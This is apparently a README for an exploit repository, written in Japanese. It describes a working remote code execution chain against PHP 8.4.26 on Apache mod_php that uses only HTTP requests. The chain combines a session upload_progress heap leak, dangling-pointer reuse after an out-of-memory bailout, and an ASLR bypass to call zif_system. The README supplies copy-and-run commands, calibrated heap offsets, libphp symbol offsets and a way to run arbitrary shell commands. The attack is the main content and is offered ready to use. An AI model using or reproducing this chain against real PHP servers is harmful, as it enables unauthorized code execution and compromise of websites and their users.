
PHP 8.4.26 + Apache mod_php において、セッションの upload_progress によるヒープリーク、ダングリングポインタの再利用、および ASLR バイパスを組み合わせて zif_system を呼び出す、RCE を実現する純粋な HTTP エクスプロイト。
中文 | English
「完全リモート、HTTP のみ、対象ページに session_start() なし、対象側に PHP を一切書かない」という制約の下で、単一の exploit.py を用いて PHP 8.4.26 + Apache prefork + mod_php の RCE を成立させる。公式の php:8.4.26-apache イメージで 3/3 のワンクリック成功を実測済み(PROOF: uid=33(www-data)...)。現行バージョンは display_errors=1 を要求する。display_errors=0 については純粋な HTTP によるヒープリークまで成立済みで、完全な RCE は後日提交する。
以下はゼロから RCE までの完全なコマンドであり、そのままコピーして実行すればよい。本リポジトリは PHP/Apache をコンパイルせず、docker build も行わない。環境は公式の php:8.4.26-apache イメージに docker/ 配下の設定マウントを加えたものである。
# 依赖:Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp
# 1) 拉官方镜像(PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull
# 2) 起目标:单 worker、display_errors=On、memory_limit=8M
docker compose -f docker/docker-compose.yml up -d
# 3) 等 Apache 就绪并确认普通页面
for i in $(seq 1 20); do
curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php # OK
# 4) 一条命令完成整个利用;首次运行会自动读取 libphp 偏移
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
すでにリポジトリのディレクトリ内にいる場合は
git clone/cdをスキップしてください。pullも省略可能で、up -dが自動的にイメージを取得します。
exploit.py は worker のローテーション、2 段階リーク、zif_system の実行、proof の読み取りを自動で行い、各段階にリトライが組み込まれています。実行環境:
| コンポーネント | バージョン | ソース |
|---|---|---|
| PHP | 8.4.26(NTS、mod_php) | php:8.4.26-apache |
| ベースシステム | Debian 12 (bookworm) | 同上 |
| Apache | 2.4.69(公式イメージ内の Debian 12 パッケージ、実測) | 同上 |
| MPM | prefork、単一 worker | docker/apache.conf |
| lab レポート内の Apache | 2.4.68(元の lab で自前ビルド、--profile lab) | 完全に一致させる必要がある場合は、apache/httpd の 2.4.68 タグを使用 |
公式イメージリポジトリ:docker-library/php(Docker Hub: php:8.4.26-apache);PHP ソースコード:php/php-src(tag php-8.4.26)。
初回実行時に docker/offsets.py が自動的に実行されます:コンテナ内の libphp.so から zif_system / zval_ptr_dtor の実際のオフセットを読み取り out/offsets.env に書き込み、exploit.py が自動的に読み込むため、公式イメージを変更したりアップグレードした後でもオフセットを手動で修正する必要はありません。デフォルトのコマンドは id>/out/p1(10 バイト)で、コンテナ内の /out はリポジトリの ./out にマウントされるため、proof は直接ローカルに出力されます:
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system 0x...
zval_ptr_dtor 0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
payload 内のコマンド上限は 14 バイトです。任意のコマンドを実行するには、スクリプトをマウントディレクトリに書き込み、sh</out/c(8 バイト)で実行します:
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'
常用パラメータ:--profile、--cmd、--proof-file、--fetch、--zif-offset、--dtor-offset、--htdata-offset、--no-pre-rotate、--retries。デフォルトの profile は bookworm(公式イメージ)です。元の lab ビルドでは --profile lab を使用します。--offsets-file '' で自動読み取りを無効にでき、コンテナ名が php2shell-target でない場合は --docker-container で指定します。
bookworm のヒープキャリブレーションは組み込み済みです:stage1 の filler 数は 841、stage2 のターゲット配列は 406、要素値の長さは 16、stage3 は HTDATA=chunk+0x690d8 で、A の pad は 6×(31,31) であり、さらに 32 文字の正当な Cookie: PHPSESSID を付加することで、B が stale id を再利用(send_cookie=0)し、session の Set-Cookie ヘッダが R0+16 で val.type を上書きするのを回避します。B は 15B の carrier で reference の val.value を上書きします。公式イメージの libphp オフセットは自動的に zif_system=0x465370、zval_ptr_dtor=0x65eb60 として読み取られます。元の lab では 0x43a870 / 0x613c50 を使用します。
脆弱性の表面は、session.upload_progress が RINIT より前に引き起こす session 初期化、および OOM bailout 後にリクエストをまたいで残留するダングリングポインタである。以下では lab ビルドを例に挙げる。公式イメージの bookworm でのキャリブレーション値は exp の末尾を参照。
チェーン全体の攻撃トラフィックはすべて通常の multipart HTTP であり、ターゲットページは <?php echo "OK\n"; ?> のみです:
worker ローテーション:A_bigfields(3MB の生存 POST フィールド + 12MB の OOM)の直後に、session を初期化する B が続き、child は SIGABRT で終了する。prefork で fork された新しい worker は同じ libphp/chunk マッピングを継承する。
ヒープリーク:A は 1001 個のフィールドで max_input_vars 警告を発生させ(display_errors=On → headers_sent=1)、PHPSESSID=\x00 が新しい id を生成して send_cookie=1 を設定し、最後の 12MB フィールドが php_session_initialize() 内で OOM し、PS(http_session_vars) がダングリングする。B は 56B の multipart 生値バッファで古い reference を再占拠し、生存する 192B の zend_string で fake HashTable を保持する。php_url_encode() の範囲外読み取りが Zend MM chunk ポインタを Set-Cookie に書き込む(4096B、98 個のポインタ)。
libphp リーク:A はダングリングした PS(id) を chunk+0xb7400 に配置する。B の 56B HashTable ページにより ZSTR_LEN(PS(id)) が nTableSize=16 を読み取り、データ領域はちょうど nNextFreeElement|pDestructor になる。pDestructor = ZVAL_PTR_DTOR = libphp+0x613c50 であり、Set-Cookie から libphp base を復元する。
コマンド実行:A は 6 個の pad でダングリング reference を R0=chunk+0x24e0 に固定する。B は 55B の raw buffer で R0-0x10 を上書きし、fake HashTable を chunk+0x6e0d8 の 167B の生存文字列に配置し、pDestructor = zif_system = libphp+0x43a870 とする。トリガーチェーン:
php_session_track_init()
zval_ptr_dtor(PS(http_session_vars))
zend_reference_destroy(R0)
zval_ptr_dtor(&ref->val) # IS_ARRAY_EX
zend_array_destroy(fake HT)
zend_hash_destroy(fake HT)
pDestructor(&bucket->val) # zif_system
ターミナルは libphp 内の zif_system のみを使用し、libc は不要です。
session_start() が不要な理由:A/B の session 初期化は RINIT 前の multipart コールバック内で発生し(FILE_START → php_session_rfc1867_update → php_session_initialize();END → php_session_rfc1867_cleanup → php_session_initialize())、スクリプトの内容とは無関係です。php_session_initialize() 内で OOM bailout し、PS(http_session_vars) / PS(id) がクリアされません。次のリクエストが session を初期化する際、php_session_track_init() がそれに対して zval_ptr_dtor を実行します。Set-Cookie 越境読み取りがそれぞれ chunk base と libphp base を提供します。フェーズ間は純粋な HTTP abort/fork で worker を切り替え、アドレス空間は変わりません。ターミナルは libc に依存しません。session_unset() + ユーザーランド __destruct による Defect D(arData UAF)はすでにカスタム PHP ページで RCE を取得しています(NOASLR_REPORT.md)が、「特定の PHP を書かない」という制約に違反するため、メカニズムの参考としてのみ扱います。アドレス/オフセット(chunk または libphp 相対、ASLR とは無関係):
| 位置 | 意味 |
|---|---|
chunk+0xb7400 | フェーズ 2 のダングリング PS(id) |
chunk+0xb73f0 | フェーズ 2 のターゲット HashTable(a0443) |
chunk+0x6e0d8 | フェーズ 3 の fake HashTable 文字列データ |
chunk+0x24e0 | フェーズ 3 のダングリングリファレンス R0 |
libphp+0x613c50 | ZVAL_PTR_DTOR |
libphp+0x43a870 | zif_system |
上の表は lab ビルド(--profile lab)です。公式イメージ(デフォルト --profile bookworm)の対応する較正値は次のとおりです:stage1 の filler 数 841;stage2 のターゲット配列 406、要素値の長さ 16;stage3 は HTDATA=chunk+0x690d8、A は 6×(31,31) をパディングし、32 文字の正当な Cookie: PHPSESSID を伴い、B は 15B のキャリアを使用;libphp のオフセットは docker/offsets.py によって自動的に読み取られます(0x465370 / 0x65eb60)。
詳細なメカニズム、gdb の証拠、リクエストのキャリブレーションについては HTTP_HEAP_LEAK.md(ヒープリーク)、ASLR_PURE_HTTP.md(libphp リークと全チェーン)、DISPLAY_ERRORS_OFF.md(display_errors に依存しないリーク)、NOTES.md(根本原因とソース位置)を参照してください。